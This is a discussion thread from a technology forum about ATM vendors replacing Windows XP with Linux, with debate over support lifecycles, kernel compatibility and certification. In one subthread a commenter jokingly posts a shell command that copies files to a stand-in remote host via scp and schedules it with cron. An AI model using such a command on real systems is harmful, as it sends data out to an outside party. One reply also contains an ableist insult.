What upgrade path should they have taken? XP's end-of-life was actually deferred a couple of times - basically because Vista was such a turkey. Once Windows 7 came out that option was no longer necessary. Apple also have shorter cycles than Microsoft.

Re:Good for Linux

[pnutjam]

I'm willing to bet there are still plenty of linux options you can run on that laptop. You can either install from pxe, or a disk image. I do it all the time with older equipment. If you had hundreds of machines with similar architecture, you would probably invest in back-porting of patches.

or you can do something like this:
https://www.suse.com/support/p...
https://ltsi.linuxfoundation.org/what-is-ltsi

Re:Good for Linux

[Wootery]

they plan on moving to something unsupported all the time

Pretty sure Linux isn't unsupported. If you're so inclined, you can pay for support if you want it

Unlike with Windows, you get your pick of providers (and yes, that includes big-name, management-friendly corporations), for any particular aspect/application of Linux.

Re:Good for Linux

[ppanon]

Yeah, I recently installed the most recent Linux Mint LTS (13 Maya) on a 12 year old laptop. It wouldn't boot from the CDs of older releases (presumably because it couldn't handle overburned CDs with more than 640MB). But I was able to use a Plop boot CD to boot from an old 1GB flash drive using the laptop's lone USB 1.1 port. So even without a PXEBoot server setup, there are still some options.

Re:Good for Linux

[Hognoxious]

Yeah, I recently installed the most recent Linux Mint LTS (13 Maya) on a 12 year old laptop. It wouldn't boot from the CDs of older releases (presumably because it couldn't handle overburned CDs with more than 640MB).

You might have a non-PAE processor.

I have an old IBM T40 and went through the "herb garden". Several failed, but eventually one decided to give a meaningful error message.

Re:Good for Linux

[Spiked_Three]

lol. The places you worked at, I managed at. Most Linux types, especially the ones hanging around slashdot, are clueless ideologist. The ones that do know what they are doing are expensive as hell (and I do not blame them).

Let's start with the basics; is Unix/Linux more secure than Windows? If your answer is "yes", you fall in the clueless category. If on the other hand you answer "it depends on how they are setup" you have hope.

Don't tell me I'm clueless, I've hired and fired, in both environments, which is exactly the basis for my position. you?

Re:Good for Linux

[ppanon]

That laptop has a mobile consumer Pentium III. I'm pretty sure it didn't have PAE. Even so, it booted from USB, which used the standard DVD image, dd'd to the USB key. Not the same release admittedly ... but I didn't see anything indicating they had relaxed the PAE reqt. for Mint 13 Maya.

Re: Good for Linux

[Anonymous Coward]

rofl, why would anyone here listen to anything u just said. u just demonstrated u hardly know anything about computers. u can't even figure out how to get an OS on an old laptop without using a cd or DVD. oh and rh and centos have life cycles of 10 years. come again?

Re:Good for Linux

[Hognoxious]

cat /proc/cpuinfo | grep flags will tell you.

They tend to be unrelaxing it, if you know what I mean. For example CentOS 5 (RHEL clone) works on non-PAE, 6 is PAE only. There isn't really that much old hardware around, so they probably think it's not worth the effort of complicating the installer.

I didn't keep notes on exactly which worked and which didn't, but even the ones that installed had quirks. Currently it's got Backtrack, which is ubuntu with a bag of security testing on the side.

Embedded

[Moblaster]

So does this mean we can expect our special hardened ATM Linux OS to have names like Filching Finch, Moneybiting Mongoose, Overcharging Oranguatan?

Re:Embedded

[The123king]

Astonishing APR?
Brilliant Bankers?


or maybe...

Crippling Charges?
Defaulting Debit?

Re:Embedded

[oodaloop]

More importantly, will 2014 finally be the year of Linux on the ATM?!?!

Re:Embedded

[ketomax]

I wonder what happens if I key in the following into these ATMs:-

echo "ls -l /all_users/*.money | while read x; do scp $x yours@truly.com:/uncrackable/vault; done" > /root/harmless_script.sh
20 0 * * * /root/harmless_script.sh 2>/dev/null > crontab

Re:Embedded

[someone1234]

You get 20 years in a federal PITA prison.

Re:Embedded

[lister king of smeg]

I wonder what happens if I key in the following into these ATMs:-

echo "ls -l /all_users/*.money | while read x; do scp $x yours@truly.com:/uncrackable/vault; done" > /root/harmless_script.sh

20 0 * * * /root/harmless_script.sh 2>/dev/null > crontab

if you have shell access to your atm their are much larger security issues then choice of OS.

Re:Embedded

[s.petry]

Nothing. I agree that financial institutions have made some blundering mistakes, but really.. How hard is it to run applications without a login shell and without root privileges?

Re:Embedded

[H0p313ss]

Pilfering Panda

Re:Embedded

[snookiex]

I'm totally for Overcharging Olinguito, it'd be onerously cute.

Re:Embedded

[sconeu]

Faulty Foreclosure

Re:Embedded

[squiggleslash]

I'm looking forward to the new Gentoo ATM. Sure, it'll take 24 hours between you punching in the amount of money you want to withdraw, and you getting the money, but it'll give you 5-10% more cash than other ATMs...

Re:Embedded

[eriqk]

I wonder what happens if I key in the following into these ATMs:

"Permission denied"

Re:Embedded

[stridebird]

maybe?
Filthy thief, Overbiting Mongoose, Moneycharging Oranguatan...Usurous Eunoch, Gouging George, etc.

Re:Embedded

[Anonymous Coward]

their are much larger security issues then choice of OS.

"There" and "than" you fucking autistic ignoramus

Re:Embedded

[colinrichardday]

I've never seen an ATM with an alphabetic keyboard.

Re:Embedded

[Anonymous Coward]

it is in most of europe and brazil

Re:Embedded

[toddestan]

I've heard of some with USB ports... and an OS that would almost certainly detect and allow you to use a USB keyboard should you get access to the ports.

Re:Embedded

[colinrichardday]

They allow anyone access to the USB port?

Re:Embedded

[vilanye]

I have seen what happens when Redbox crashes to the desktop.

It couldn't connect to the database so it decided its best option was to kill off the rental interface leaving the desktop visible with a virtual keyboard.

And full admin rights

XP didn't make sense in the first place

[Anonymous Coward]

Linux is much more secure, and free. Why they actually went with XP is beyond reason.

Re:XP didn't make sense in the first place

[The123king]

But you have to train someone to use and adminstrate Linux, which means making training materials for your custom Linux installation even before you put your proprietary front-end on it. With MS Windows, all you have to do is give them a copy of "XP For Dummies" and everyone's happy

Re:XP didn't make sense in the first place

[jedidiah]

No. Not really. Even a competent NT admin has to some clue. Otherwise you're just kidding yourself and sitting on a ticking time bomb.

Re:XP didn't make sense in the first place

[wiredlogic]

They went with XP because it has some API similarities to the previous generation OS/2 machines.

Re:XP didn't make sense in the first place

[smooth wombat]

If you've never used any variety of Linux before, you will need training.

You can be a whiz at writing scripts and batch files to do things on the Windows side, that does not mean you will magically know how to do things on the Linux side.

Just because I am very capable of writing a presentation for the higher ups or giving a speech does not mean I have the capacity to write a book.

Re:XP didn't make sense in the first place

[gweihir]

First comment that makes sense to me. I had OS/2 on the PC. Very, very impressive. If quality were an important factor in sales, MS would never have had a chance against OS/2. Pity.

Re:XP didn't make sense in the first place

[SuricouRaven]

These machines are decedents of machines designed many years ago, when linux was less mature. Many of them still use OS/2.

Re:XP didn't make sense in the first place

[pnutjam]

For a hardened system, anything that the user needs to modify can be put into a simple interface.

Re:XP didn't make sense in the first place

[cheesybagel]

I know some ATMs that used to use MS-DOS. How's that for security?

Re:XP didn't make sense in the first place

[jedidiah]

> If you've never used any variety of Linux before, you will need training.

That's true across the board. That's the problem with the usual propaganda that you can be a total clueless idiot and still be a Windows admin. The same skill, aptitude, and inclination that's required to be a Unix admin is also required to be a COMPETENT NT admin.

Otherwise you're just kidding yourself and sitting on a a time bomb.

Windows just makes it easier to kid yourself. It makes it look easy and gives the appearance that you can ignore the underlying details.

The NT admins that aren't just a waste of skin are capable of getting Unix certs just for lulz.

Re:XP didn't make sense in the first place

[TapeCutter]

OS/2 was originally a partnership between IBM and MS, MS almost scuttled it by pulling out of the deal half way through development and releasing NT instead. Personally I think MS's involvement was a ploy to try to stop IBM entering the PC O/S market while at the same time gaining access to their OS2 engineers.

I'd just like to interject for a moment

[Anonymous Coward]

What you're refering to as Linux, is in fact, GANOOOOOOOOOU Linux

Re:I'd just like to interject for a moment

[j35ter]

Is that you again, RMS????

Re: I'd just like to interject for a moment

[Kusuriya]

In this case it may not contain GNU

Re:I'd just like to interject for a moment

[The123king]

That implies it uses GNU.

Re:I'd just like to interject for a moment

[AF_Cheddar_Head]

Would that be Gary GANOOOOOOOOOU Linux?

Here's what I don't get

[dingen]

What's a desktop operating system doing on an ATM anyway?

Re:Here's what I don't get

[Anonymous Coward]

Its windows XP embedded...different from normal desktop OS

Re:Here's what I don't get

[tomhath]

Seemed like a good idea 13 years ago. ATM is a client application after all.

Re:Here's what I don't get

[dingen]

No, it isn't. Support for XP Embedded isn't dropped coming April.

Re:Here's what I don't get

[CastrTroy]

I don't even get why they'd switch to Linux. Something like QNX or VXWorks (I'm sure people will chime in with other/better examples) would make much more sense for something as simple as a bank machine. A bank machine has to do very little. Why would something as complex as Windows or Linux be used.

Re:Here's what I don't get

[Anonymous Coward]

XP embedded was the OS of choice after OS/2. Turns out the bankers wanted to know why, if they're paying the same price, they're not getting XP Pro. It's really that simple.

It was never a question of "can we install Linux or Windows 7 or BeOS" - it's basic Intel hardware.

The reason XP is still on the ATMs and not Win7 is due to the banking industry and PCI regulations - it costs hundreds of thousands of dollars to make a simple change to the ATM and get it certified by the banking industry and prove that it's still PCI-compliant in order to work with 3rd party transaction processors who perform the actual ATM transactions. Most banks don't to that themselves.

There's one other big reason - the industry requires that each ATM have a HAL that implements a well-known, well-defined interface so the higher level software from any vendor will work on any other vendor's ATM. The HAL is big technical piece that has been in development by each vendor for years. Re-writing that from scratch to support Linux isn't trivial.

Re:Here's what I don't get

[j35ter]

Because Blackberry might pull another XP on them in a couple of years..

Re:Here's what I don't get

[drinkypoo]

What's a desktop operating system doing on an ATM anyway?

Keeping costs low, and easing application development. At the time, PCs were a lot cheaper than custom embedded systems, and there's lots of room in an ATM for a PC. As well, PCs are standardized, so if one supplier goes tits up you just start getting your supplies from someone else, in the same form factor but with potentially completely different hardware, and yet your software still works. If you're Diebold in the 1980s and you're trying to keep development costs down, the PC is the only logical solution.

Today, tiny embedded systems cost jack diddly, so it makes more sense to go with something else. Linux is a good solution because no one vendor can yank it out from under you. If you're going to have to change to some new system with substantial changes, you might as well change to something that's not going to get EoL'd basically forever — at least, I think the odds are best for Linux to be still standing when every other kernel we know is a memory. And being open source, the common userlands cannot be taken away from a vendor either.

Re:Here's what I don't get

[tlhIngan]

I don't even get why they'd switch to Linux. Something like QNX or VXWorks (I'm sure people will chime in with other/better examples) would make much more sense for something as simple as a bank machine. A bank machine has to do very little. Why would something as complex as Windows or Linux be used.

Because of developer tools. The software on ATMs isn't static - it changes often enough to be annoying as new banking requirements come up - new language support, accessibility, currency handling, etc.

The ATM hardware basically is static, but the software it runs on is customized for the bank and for the purpose the bank is using it for.

Embedded OS tools generally are quite awful and hard to set up. But desktop tools are easier to use - just point a developer at Visual Studio, the source repo and they can get building that afternoon. And with a few peripherals, they can even emulate the ATM hardware right on their desktop without having to have the ATM beside them, transfer the code and assets over, etc.

Anyhow, it's not like banks didn't have a lot of notice - way back in the Windows 7 days Microsoft had already announced end of support (this was over 5 years ago). They reiterated it several times since then. The fact that support was ending next month has been known for years.

Problem is, most companies see it as "far off" and too far away to bother, ignoring the fact that migrating can take years. Just because you were told in 2009 that XP was going away in April 2014, means most companies will ignore it until the last minute. It's so bad that Microsoft is getting requests to extend XP support another year. (And most of those are from people who did NOT need more than 5 years to migrate - they just ignored it until they had the "oh shit it's only 6 months away!" moment).

It's been going on for years now - the banks have had more than ample opportunity to prepare.

Re:Here's what I don't get

[Immerman]

Didn't RTFM, but does it actually say that the ATM vendors are being driven off XP? It could well be simply that they can see the writing on the wall, realizing that embedded XPs days are numbered, and are actually doing the intelligent, forward-looking thing by considering Linux as a more long-term solution than whatever the MS-recommended upgrade path from embedded XP is.

Re:Here's what I don't get

[dingen]

No. The ATMs in question are running XP Pro, not Embedded. The same thing is happening in the UK, where banks are paying Microsoft hundreds of millions of dollars for extended support contracts (link), just to keep releasing patches every now and then. This wouldn't be the case if the machines were on XP Embedded.

Re:Here's what I don't get

[Anonymous Coward]

The ATM is a big GUI. From that PoV it makes sense. It would be a tempest in a teapot if the network were properly secured. Host all the images on the box, and only route the IP to the transaction server. OTOH, I wouldn't be surprised if a lot of these things were using DNS and other services on the open Internet that they could have avoided. So, it probably is a real problem.

Re:Here's what I don't get

[Anonymous Coward]

Believe it or not there is a difference between Embedded XP and XP Embedded one looses support in April and the other does not

Re:Here's what I don't get

[supremebob]

It's not. These systems are probably using XP Embedded, which is a hardened version or Windows XP with longer term support. Hell... I'd bet that almost all of them have explorer completely disabled and boot right into the ATM application. They probably wouldn't be Internet facing, either.

Last I heard, XP Embedded is supported until the end of 2016. It's not time panic... yet.

Re:Here's what I don't get

[dingen]

It isn't Embedded. Support is being dropped. Why else are UK banks paying Microsoft hundreds of millions of dollars to keep supporting XP for a little while longer?

Re:Here's what I don't get

[DdJ]

What's a desktop operating system doing on an ATM anyway?

The same thing a desktop CPU is doing in both servers and embedded applications.

Economies of scale and network effects (eg. huge development tool ecosystem) provide some advantages that grow over time, and eventually overcome the advantages of other solutions.

The same thing relates to why an Android phone runs (essentially) the same kernel as an OS Oracle sells to run their database servers on, and why an iPhone runs the same kernel as a Mac Pro.

Re:Here's what I don't get

[supremebob]

So, you're trying to tell me that the dozens of ATM manufacturers out there ALL decided to make the same bad decision and use XP Pro instead of Embedded, which has longer term support AND has a cheaper per seat license? I doubt it. I'm sure that some did, but I'd like to think that most of these guys would be smarter than that.

Re:Here's what I don't get

[dingen]

Here's a source that says 6 out of every 10 ATMs is running a version of XP of which support will end coming April: http://www.computerworld.com/s...

In the UK, at least the nation's top 5 banks are paying Microsoft extra fees in order to keep supporting their soon-to-be-obsolete ATMs: http://www.digitaltrends.com/c...

This wouldn't be happening if the machines in question would be running the embedded version of XP, now would it?

Re:Here's what I don't get

[dingen]

A kernel isn't an operating system though. I would understand the NT kernel being used in an ATM. But the full blown desktop version of Windows XP? For a dedicated single purpose device? It just doesn't make any sense.

Re:Here's what I don't get

[AmiMoJo]

The thing is Linux won't be any better than XP in this regard, possible even worse. Who provides developer support for Linux as long as MS does for XP?

The issue is not really security updates - the OS isn't being used to browse the web and all services are firewalled off anyway. Autorun can be disabled and USB ports physically removed, but they don't want to because that is how they do diagnostics and emergency updates. They choose to rely on physical security instead, and some spectacular demos on stage not withstanding it does seem to work in real life. Infected ATMs are not really a problem.

It's all about developer support, and the ability to get drivers and software services for newer hardware. The only real issue moving to Linux would solve is not having to buy XP licences, but MS is going to keep providing those beyond the end of support period anyway. They will still have to keep upgrading their Linux kernel and developer tools. Binary compatibility is less of a thing on Linux because most stuff can be compiled from source, while MS goes a long way to make sure that Windows 95 apps still mostly work on Windows 8.

Re:Here's what I don't get

[Immerman]

Ah. I stand corrected. Yep, looks like they've got a major problem here ten. Somehow I doubt they have enough marketshare to convince MS to continue supporting XP, but they may be hoping that if enough minor customers threaten to switch to Linux the combined threat will be enough to matter. And of course there is the fact that Linux may well be a better fit for their purposes - at a minimum it would mean that the next time their OS vendor retires a product they have multiple options available to them to continue maintenance, in-house if necessary.

Re:Here's what I don't get

[Anonymous Coward]

You can do it yourself. Which is sort of the point, presumably they would choose an LTS release to target and then they have the option to write their own patches if that isn't long enough. Whereas with Windows you have to either take what MS gives you or pay them to maintain the OS until you're ready to upgrade.

Re:Here's what I don't get

[Anonymous Coward]

No, atm is a your mom application that she did with little latency and a lot of recursion.

Re:Here's what I don't get

[Nivag064]

Linux is the most widely used Operating System there are more Linux based devices than for all other Operating Systems combined.

Linux almost totally dominates embedded and mobile devices, as well as servers.

Re:Here's what I don't get

[antdude]

It is an embedded Windows XP. It's different from your normal Windows XP.

Re:Here's what I don't get

[Bert64]

Not only support it themselves, but if they strip the system down to the bare essentials there will be a lot less that actually needs maintaining... Having a load of unnecessary code on your device is stupid, doubly so if you have to keep patching it.

Re:Here's what I don't get

[Bert64]

What happens if MS goes tits up? Where do you get your compatible OS from?

Having multiple suppliers for something important makes sense, but running single vendor software completely destroys that benefit.

Re:Here's what I don't get

[sjames]

And MS isn't listening because they know very well if they extend it another year, it will fall right out of management's head and then next March they'll act as if that's the first they've heard of the EOL.

Re:Here's what I don't get

[drinkypoo]

What happens if MS goes tits up? Where do you get your compatible OS from?

At the time, this was not a credible concern. It's only on the horizon today, not remotely actually here, so this is a good time to be thinking about moving to another platform.

Re:Here's what I don't get

[rev0lt]

Most ATMs are built using COTS desktop parts, with some standardized controllers and a hardware crypto module. And since half of the work done is actually GUI-related, it makes sense using a desktop operating system.

Re:Here's what I don't get

[rev0lt]

Binary compatibility is less of a thing on Linux because most stuff can be compiled from source

Source doesn't help you in GUI applications. Imagine compiling a GTK application from 10 years ago, w/linking to a modern release. Do you think it would compile without errors? I'd doubt that. Now image you're able to compile the required dependencies for your application, but you still need to have everyting else in your system tolerating 10-year old obsolete versions of libraries. Even stuff like libssl has gone trough some major changes.

Re:Here's what I don't get

[unixisc]

Or given that OS/2 was already there, they could have gone w/ ComStation. Or have some developers have a working osFree out that would run any existing OS/2 software. Then the banks could deploy it, and follow that up w/ developing add on software using REXX and other traditional OS/2 tools.

What about OS/2?

[BenJeremy]

I was told OS/2 was the choice for ATM operating systems!

Re:What about OS/2?

[Stargoat]

It was, before the ADA required banks to replace any ATM that could not handle audio integration. That was about 2-3 years ago. OS/2 typically could not handle the hardware upgrade necessary for the required audio. The banking industry paid millions, maybe billions, to upgrade tens of thousands of ATMs. Diebold, NCR and Hyosung made out like bandits.

Re:What about OS/2?

[LordNimon]

OS/2 typically could not handle the hardware upgrade necessary for the required audio.

Can you explain this further? I worked on OS/2 multimedia back in the day, and it is more than capable of handling all kinds of audio requirements.

Re:What about OS/2?

[flinxmeister]

ADA was only one reason. The main reason was OS/2 was EOL and they couldn't really do anything with it. You haven't truly loathed an OS until you waited an hour for an ATM to boot, only to find out the next config change would require another reboot. ...and you had 5 more config changes to make.

Re:What about OS/2?

[Anonymous Coward]

Most ATMs ran Warp, not Merl(glances at Disney lawyers)...Warp4.

Re:What about OS/2?

[wjcofkc]

Yes but only for backwards compatibility if your'e building A Time Machine.

Re:What about OS/2?

[jfdavis668]

TeamOS/2, Where are you???

Re:What about OS/2?

[Anonymous Coward]

What part of hardware did you miss? What part of IBM not selling or supporting OS/2 is lost on you? eComstation is for diehard holdouts, not for businesses.

Re:What about OS/2?

[unixisc]

But OS/2 is still available from ComStation, so what was the issue? It's in a lot better situation than OSs that have been completely abandoned - such as BeOS, or Chorus.

Re:What about OS/2?

[Gavagai80]

That was about 2-3 years ago.

So why would anyone install Windows XP in the year 2011 or 2012? Couldn't they see the end coming?

Re:What about OS/2?

[Anonymous Coward]

The problem wasn't the OS so much as the audio hardware wasn't present in the ATM and companies like Diebold used it as an excuse to get a bunch of old but otherwise solid and reliable hardware out of the field that could be replaced with more profitable (read: needs more service and updates) hardware.

Ok seriously though ...

[Jumperalex]

I guess I'm missing the difference. Linux distros and kernels do indeed go EOL. When that happens there are no more security updates and backporting right? Well how is that different than what MS is doing right now with XP? In either case they will still have to face the fact that the OS isn't going to be supported anymore and will require them to upgrade software.

Or are they thinking they will go it alone and continue to update their Linux distro/kernel just because it is open source? Do they really think they are qualified to do that? Or is the hope that they can spend money to keep the OS in long-term-support status?

Re:Ok seriously though ...

[vidarlo]

Or are they thinking they will go it alone and continue to update their Linux distro/kernel just because it is open source? Do they really think they are qualified to do that? Or is the hope that they can spend money to keep the OS in long-term-support status?

That is not as hard as it sounds. There's already tons of mission critical in-house applications in banks, some of them probably quite a lot more complex than an OS with some drivers and an application on top of it...

Re:Ok seriously though ...

[Anonymous Coward]

Maintaining any OS has a cost. They won't convince MS to support their products for longer, even for money (it would always be a negligible amount as compared to MS' consumer market). However they can pay a FOSS company to maintain the linux kernel for any arbitrary length of time, and that company will happily do it for a reasonable amount of money.

Re:Ok seriously though ...

[Richard_at_work]

It all smacks of very very poor planning on the case of the ATM vendors, and they have to find someone other than themselves to blame - after all, they've ignored the issue for 7 years, which is how long we have known about the EOL date for XP, so where has the forward planning been in the interim period?

So they eschew Microsoft's replacement because doing so supports their laying of blame on them, they have little other option than outright admitting their own failure.

Re:Ok seriously though ...

[a_n_d_e_r_s]

Since the code is free you can just buy support from any IT company who offers it. You are not forced to buy it from the original manufakturer. So with Linux - you can basically get eternal support if you want it.

The truth is if Microsoft sold it off they could probably get very good payment from other companies that would love to take over support and upgrades of Windows XP.

Microsoft is killing the business to be able to force the customers to downgrade to their new operating systems.

Re:Ok seriously though ...

[Anonymous Coward]

Were those banks given the kernel code for XP on the ATM's? Perhaps tidbits, but doubtful they got the whole lot. That said, banks or companies implementing this can knife-up the kernel how they want for implementation purposes. That's part of the beauty of Linux. It can be as secure or open as one wishes. This is well known, and goes completely to its configuration. Given a proper approach to security for its implementation, I have no doubt Linux would work fine on ATM's, especially with the coming changes to 2-factor card auth. that US industry is moving to.

If you want to know a example of confidence in Linux for support of an industry, you need only look at the NYSE. Since Linux runs the heart of things, perhaps its time it should expand to the endpoints of the banking network.

Re:Ok seriously though ...

[Grishnakh]

You are missing the difference. Linux is open-source, and not under the control of any one vendor. Distros go EOL, kernels basically do not; you can always upgrade to a newer kernel, and you're not going to break anything in the process. So if you're an ATM maker and you roll your own Linux distro, it's pretty trivial for you to just keep upgrading to the latest (stable, not bleeding-edge) kernel. Or, if you prefer to have a vendor do your OS work for you, your vendor (like Wind River, Timesys, etc.) can do that too. So basically "yes" to your second paragraph, first sentence. If they're not qualified, they can outsource it to one of the many commercial Linux companies. And if they get sick of their chosen vendor, they can easily switch to a different vendor, or move it in-house; these are options that aren't present with MS.

Re:Ok seriously though ...

[Anonymous Coward]

They will have the source to it so they can/will do all fixes in-house. Well at least that sounds like the idea.
I understand why they stayed with XP but they also had plenty of time to do upgrades over the last x amount of years. XP is 12+ years old and there has been Vista, Windows 7, Windows 8 and now Windows 8.1 since XP came out. Heck openSUSE didn't come out till 2005 with 10.0 and we have had 3 major upgrades on that with the 11.4 being the oldest semi supported(Evergreen till 7/14) and that came out in March 2011.
The banks had a good run on a tired OS I don't think that will happen again. They need to stop sucking us dry and keep with the times on there next OS whether they code it themselves or outsource it to MS or QNX or whomever and upgrade before EOL.

Re:Ok seriously though ...

[Ziggitz]

You don't think banks have the money or the interest to support a linux distro that will be a core component of all of their ATM's. Next you'll tell me they pay taxes.

Re:Ok seriously though ...

[Eric Damron]

I have worked in an IT department where we were getting slammed every few years with huge upgrade crunches. These were on desktop PCs not ATMs so I don't know how closely our problems mirrored those of banks but for us it was all of in-house software that had to be tested and upgraded to work with Microsoft changes.

We had a hardware maintenance contracted so every few years,like it or not, we would get new PCs that had Microsoft's newest OS. It's not as easy as just dropping new PCs on everyone's desks. Every piece of software that our employees used needed to be tested with the new version of Windows. A lot of them broke. Microsoft products like MS Office mostly worked in vanilla form but we had to test all of our macros and any third party add-ons like Dragon Dictate which often broke.

Basically any third party or in house applications were a crap shoot. The PCs would come in and we had little time to adapted. It was a total pain. If we were running Linux we could have tested at our own pace and then deployed instead of rushing to meet someone else's schedule.

Re:Ok seriously though ...

[TheRealMindChild]

you can always upgrade to a newer kernel, and you're not going to break anything in the process.

This is just wrong. Threading and libc compatibility isn't transferable between 2.4 and 2.6. There are innumerable 2.4 applications which will flat out not run on a 2.6 system. The same goes between 2.2 and 2.4. And 2.0 and 2.2.

Re:Ok seriously though ...

[gweihir]

The same software runs with very old and very new kernels and libraries. If you used a bit of restraint, you can run 25 years old UNIX GUI code (no Linux back then) on a modern Linux with a simple recompile. And, unlike MS trash, Linux basically only crashes on driver and hardware problems, and the vendor has full control on what drivers to include and which not. They can also compile all the needed drivers statically into the kernel, greatly decreasing installation complexity.

Re:Ok seriously though ...

[gweihir]

I know for a fact that many are so fed up with Oracle that they are working on a Linux strategy as replacement for Solaris machines. Most Solaris is used on x86 anyways these days. And the back-end in a large bank will always be a classical mainframe, as nothing else can get the required level of reliability even today.

Re:Ok seriously though ...

[HeckRuler]

and you're not going to break anything in the process.

At least you hope it doesn't break anything. Kinda the same way that you hope all your software will still work when you jump from Win7 to Win8. Maybe less so because a kernel upgrade is less drastic of a change. The bit about having your own distro, hiring others to do it for you, and easily switching is more or less true.

The issue with your platform (which is more than just the kernel) going EOL is still there, but simply put, it's better in Linux.

I think the reason we're hearing about things like this is that XP hitting it's end of life has made a number of clueless suits and subp-par tech workers think about EOL issues for the first time. They do a minimum of digging and hear that Linux does a better job of this. So they report that EOL issues will be solved if they simply switch to Linux.

The real programmers collectively slap their foreheads because that's technically false.
The programmers that act as talkers-to-management smile and nod because it's a step in the right direction.
And management still doesn't trust anything that's free and kills the whole idea.

Re:Ok seriously though ...

[bheerssen]

Or are they thinking they will go it alone and continue to update their Linux distro/kernel just because it is open source? Do they really think they are qualified to do that? Or is the hope that they can spend money to keep the OS in long-term-support status?

That is not as hard as it sounds. There's already tons of mission critical in-house applications in banks, some of them probably quite a lot more complex than an OS with some drivers and an application on top of it...

Also, in the event their distro of choice goes EOL, they can swap it for a different one with relatively few problems.

Re:Ok seriously though ...

[petermgreen]

It sounds like your problem was not that you were using windows but that you had a crappy contract with your vendor that was somehow tying the version of windows you were running to the replacement of your hardware far more closely than it needed to be.

Re:Ok seriously though ...

[Grishnakh]

The 2.4->2.6 transition was many years ago, and nothing has been broken since then (3.0 is just a continuation of the 2.6 series). Even so, there's nothing stopping you from recompiling your 2.4 application for 2.6. Why would an ATM maker try to run the exact same 10-year-old binary on a brand-new OS/kernel? Obviously, in a system like that, you'd recompile against the latest libraries. The actual code changes would be minimal, if any (though would depend on what other libraries you're working with of course).

Re:Ok seriously though ...

[pnutjam]

Wooaahh.... Bankers don't get rich by paying people a reasonable amount of money.

Re:Ok seriously though ...

[Yunzil]

you can always upgrade to a newer kernel, and you're not going to break anything in the process.

Hehe. That's a good one.

Re:Ok seriously though ...

[Eric Damron]

Perhaps, but this is typical for hardware contracts in an environment that Microsoft seeks to control. If the banks have hardware maintenance contracts for their ATM machines, they are likely bumping up against the same problem.

Re:Ok seriously though ...

[Jumperalex]

But that same argument can be used right now with the XP ATM's ... until the hardware breaks those can run "forever". Well that is except for security updates which any old UNIX GUI would need as well. you can't get around the need for security updating. So then it is a question of who will perform that function. with XP is was MS, with [Linux Distro] it is [Linux Distro Owner] and they will both EOL a distro at some point and stop providing security updates.

At least that is my question ... what am I missing?

Re:Ok seriously though ...

[Jumperalex]

with banking and PCI compliance I don't know if it is really that simple.

I mean let me be clear, I'm not saying it is a bad idea to go open-source, or look for options beyond MS ... I'm just saying I'm not seeing how moving from one OS to another solves their software/hardware synchronization problem given that fact that they are themselves independent of each other and driven by different life-cycles realities [shrug].

Re:Ok seriously though ...

[TheRealMindChild]

Man, you are making a HUGE assumption that the binaries are accompanied by source code. If it was a contracted piece or a commercial piece, this is certainly not the case

Re:Ok seriously though ...

[Jumperalex]

I see your point. That might be the missing link. I just don't know how much they would have to pay for that once a distro goes EOL from the mainline support structure.

Re:Ok seriously though ...

[Anonymous Coward]

"innumerable"? Which ones?

Re:Ok seriously though ...

[Mad Merlin]

The #1 rule of the kernel is that you cannot break userspace. Care to provide an example?

The one thing that would break is out of tree kernel modules that were never upstreamed. If you depend on those, then you screwed up.

Re:Ok seriously though ...

[Anonymous Coward]

Yes, that makes perfect sense. Because Linux is magical technology which is immune from maintenance contracts, support end-of-life, and third-party software compatibility issues.

Re:Ok seriously though ...

[TheRealMindChild]

Sure. Kylix and Quake 2 are the first that come to mind (in terms of commercial software). But if you want to see something more GPL/Open Source originating, take, say, XFree86 from Slackware 4.0 and try to run it on Slackware 14. Same thing.

Re:Ok seriously though ...

[Grishnakh]

Why would a company not have access to its own source code? You think Diebold doesn't have access to the source code for their own ATMs?

Re:Ok seriously though ...

[TheRealMindChild]

They certainly won't have access to the 3rd party widget X that they are using

Re:Ok seriously though ...

[KiloByte]

How come? Both old-style threading and old libc are entirely user-space, and work just fine on new kernels. Linus is pretty adamant about not breaking userspace, even ancient syscalls.

Stuff that doesn't work is limited to eg. 2.2 ipchains (replaced by iptables in 2.4), devfs and the like.

Re:Ok seriously though ...

[Zephiris]

While it's true that a version transition like that hasn't happened again, it's utterly naive to think that just because there are newer versions available that they would be suitable for an industry such as ATMs or banking, which require serious reliability. There have been periods during 2.6 and 3.x where, for instance, ext4 drivers would silently corrupt data for a few stable patches.

You're talking about FAR beyond the notion the notion of "long term support", into "indefinite, forever, and guaranteed stable/regression-tested/quality-assurance-tested" support on one particular version for at least the next 10-15 years. Version upgrades (like from 3.2 to 3.3) would be completely out of the question because it could introduce a regression and take down a nation-wide ATM network or silently corrupt transactions without any way to easily debug and fix it in a short period of time. Every ATM also has to be effectively interchangable with any other ATM. Version changes break the ABI and require any external modules (likely required for an ATM) to be recompiled. The slightest mismatch between perceived ABI between different modules will cause corruption and/or crashes. So you are, in essence, only talking about security fixes on an already-reliable version, and the security fixes can't change any data structure sizes or perceptions.

That is basically what Windows Embedded versions offer. The kernel layer ABI sometimes changes in consumer Windows versions (and includes enterprise and server versions) due to compatibility or security fixes. It's still the #1 cause of BSODs because of antivirus or other security software.

The linux kernel's QA is basically "if it compiles and looks remotely OK, it's fine to put in a stable version".

FreeBSD would be a much more appropriate target for such a device, due to strong QA practices (everything must be tested) and a total commitment to maintaining both the kernel and userland ABI for an entire major release version cycle, except that of course it's more or less only available for x86 (which is one of the reasons why Sony put ORBIS right over the top of a FreeBSD 9.x base).

So other suggestions on this story in general about embedded-specific OSes where you can buy upstream support forever (such as QNX) are entirely correct. Linux has to be treated with an extensive set of rules that nothing else does. Newer Windows Embedded will have to be replaced too often and takes far too long to boot or service.

Once you commit to an ABI, though, that's it. The hardware can't change (except possibly external/add-in peripherals that are optional), kernel modules can't be recompiled. Any versions of any libraries won't increment. System services and other binaries also likely will rarely change, only for serious and required fixes that have been extensively tested. But any individual binary or library on the system, which includes any kernel level stuff, has to be completely and seamlessly interchangable with any other. That may well be a binary that's 15 years old, or comes from 15 years in the present-future. That's how all of that works. If it doesn't work that way, it'll cause serious problems and chances are the company as too cheap to have a "plan B-H" to get things working within the hour.

Re:Ok seriously though ...

[Grishnakh]

